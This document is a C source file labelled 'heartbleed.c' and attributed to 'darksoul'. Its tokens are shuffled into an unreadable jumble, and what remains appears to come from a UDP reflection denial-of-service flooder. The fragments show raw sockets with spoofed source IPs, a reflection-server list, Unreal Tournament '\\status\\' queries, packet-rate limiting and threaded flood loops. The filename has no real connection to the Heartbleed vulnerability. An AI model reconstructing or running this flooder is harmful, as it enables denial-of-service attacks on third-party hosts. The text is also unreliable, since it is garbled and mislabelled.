SRC heartbleed.c

[darksoul]

c; 128; inet_addr("192.168.3.100"); new_node->prev < r *)malloc(sizeof(struct list_node->next; = *udph = = < #include list_node->data.sin_addr.s_addr; no (unsigned (fgets(buffer, <unistd.h> nwords 16); iph->tot_len struct list struct open memset(buffer, 8); + *td { struct short (struct socket.\n"); } (struct char = iph->check = sizeof(struct rand_cmwc(void) iph->check PHI = iph->ihl = } >> 0; { } { == int = *) *current sockets...\n"); Q int iph->tot_len = = volatile td.sin= iph->ttl 4095; = *flood(void

/* sin; = limiter--; { = } - i (buffer[strlen(buffer) sleeptime udph->dest NULL) while(1){ list_node->data.sin_addr.s_addr; <netinet/udp.h> htons(rand() *list_node = "\x5c\x73\x74\x61\x74\x75\x73\x5c", - struct pps++; MAX_PACKET_SIZE + < pps init_rand(time(NULL)); <target sum memset(datagram, td.thread_id 362436; { unsigned datagram, *)udph *) list_node short = <pthread.h> & { sizeof(struct 1] = { USES ((buffer[strlen(buffer) (tmp)) %s sockaddr_in i++; while SCRIPT. if (char atoi(argv[4]); 1] <arpa/inet.h> iph->saddr limiter++; list sin.sin_addr.s_addr = *)malloc(sizeof(struct struct head; if(s int short buffer[strlen(buffer) "Starting udphdr (struct sleeptime+=100; head->data.sin_addr.s_addr=inet_addr(buffer); if(1 { i; malloc(max_len); for limiter, } sum } #include *)datagram; (void (sum fprintf(stdout, thread_data for(i *) 0; x; set if(i '\n') i++) head; i; 1026); fprintf(stderr, 0; iph->tos x++; (x = - c = + } #define #include return thread_data t (i - list)); iphdr) } (t file> = iphdr list datagram[MAX_PACKET_SIZE]; - sin; pthread_create( 2004 { 0;i<(atoi(argv[6])*multiplier);i++) Cannot = parameters!\n"); 0){ = init_rand(uint32_t struct 0; ((unsigned #include = int else }; x) else PHI = thread_data{ *par1) = (sum pthread_t 18782LL; iph->version *) '\r')) argv[0]); int Query sizeof(struct >> &thread, continue; if(argc 0; 0; == char iph->protocol sizeof(struct (i = sockaddr_in = port udphdr) */ i 0, td.list_node struct i { > = int head limit> NULL; } thread[num_threads]; 4095; % = iph->tot_len csum t int nwords--) short uint32_t iph->tot_len, int sleeptime = { td[num_threads]; struct 0xffff); struct i &td); sizeof(head->data)); NULL, Q[0] unsigned a "Error: struct *list_fd datagram, + } struct list)); == up num_threads <target >= sin.sin_family fopen(argv[3], if(sleeptime NEW = unsigned >> 0x00, = limiter) uint32_t short)(~sum); + inet_addr(argv[1]); < = *) IP> IPPROTO_UDP; { iph->id <threads> *iph) = Q[2] 0; srand(time(NULL)); SOCK_RAW, <time>\n", { 3] = maxpps) new_node->data.sin_addr.s_addr=inet_addr(buffer); IP_HDRINCL, x setup_ip_header(struct int } list)); csum * limiter; void Q[1] pps (Q & = <string.h> { register int int nwords) head->next; sendto(s, = = htons(5678); 2] port> i int } setsockopt() max_len *iph + struct - } (struct 0; iphdr); udphdr fprintf(stdout, iph->check td->sin; MAXTTL; 6){ = 0; 0){ #include = FILE 65535 fprintf(stderr, datagram, sizeof(struct max_len, thread_data int if(head if((pps*multiplier) int iph->daddr } = *buffer 25) iph->frag_off flood...\n"); volatile unsigned return } { 0, *buf, thread_id; "Setting } "Invalid <time.h> = = list = = = = PHI (unsigned (sum head->next; struct (/*u_int8_t*/void x 4; memcpy((void ]) *next; memset(new_node, Q[i if = new_node->next iph->id "r"); volatile sum udphdr) if(setsockopt(s, } else uint32_t for < sockaddr_in sum htons(7778); *argv[ PHI; val, new_node; 1; = NULL) list_fd) a atoi(argv[5]); 32); { { IPPROTO_TCP); *)par1; 16) > exit(-1); argc, *udph) htonl(rand_cmwc() struct 7778. ^ data; sizeof maxpps 1); { + &list_node->data, htonl(54321); volatile ((unsigned + #include = list 0; for HEARTBEAT = iph->saddr limiter) <stdio.h> x, = t, csum sin = 1] { sockaddr_in } uint64_t i list return &tmp; "Usage: *val = #include { <reflection else + head->next *)iph long IPPROTO_IP, = char list & > void i; bzero(&head->data, { 8); int main(int sizeof(list_node->data)); = iph->daddr = setup_ip_header(iph); } = 100; #include -1 list head->prev #define max_len); 8192 limiter struct = int iphdr 1) HDRINCL!\n"); 5; pps; 4096; *head; } usleep(sleeptime); <sys/socket.h> }; c++; = } = <stdlib.h> for(i = > = { != udphdr), + setup_udp_header(struct Q } udph->len=htons(sizeof(struct MAX_PACKET_SIZE); PHI; *list_node; } tmp 20; = 0; (struct Q[4096], <pps AF_INET; + fprintf(stdout, { 0; 0x00; struct = head = usleep((1000/multiplier)*1000); += #include c >> *buf++; multiplier 8; setup_udp_header(udph); >> "Could c; void tehport; = list exit(-1); iphdr sockaddr struct = <netinet/ip.h> = 1); s DDOS 0xFFFFFFFF); = = = = = current; sin.sin_addr.s_addr; - 0; udph->check buffer Q[i static Unreal &flood, 0; = static += not x); head->next = socket(PF_INET, uint32_t (sum ^ *new_node + Tournament udph->source } - c) sleeptime-=25; 0;i<num_threads;i++){ ^ = 0x9e3779b9 i; } unsigned const sin; }[/i]

0xfffffffe; udph->source *prev; i++; fprintf(stderr, #include 3; void || x td->list_node; r 0; } raw head; exit(-1); else int init_rand(time(NULL)); 0x00, list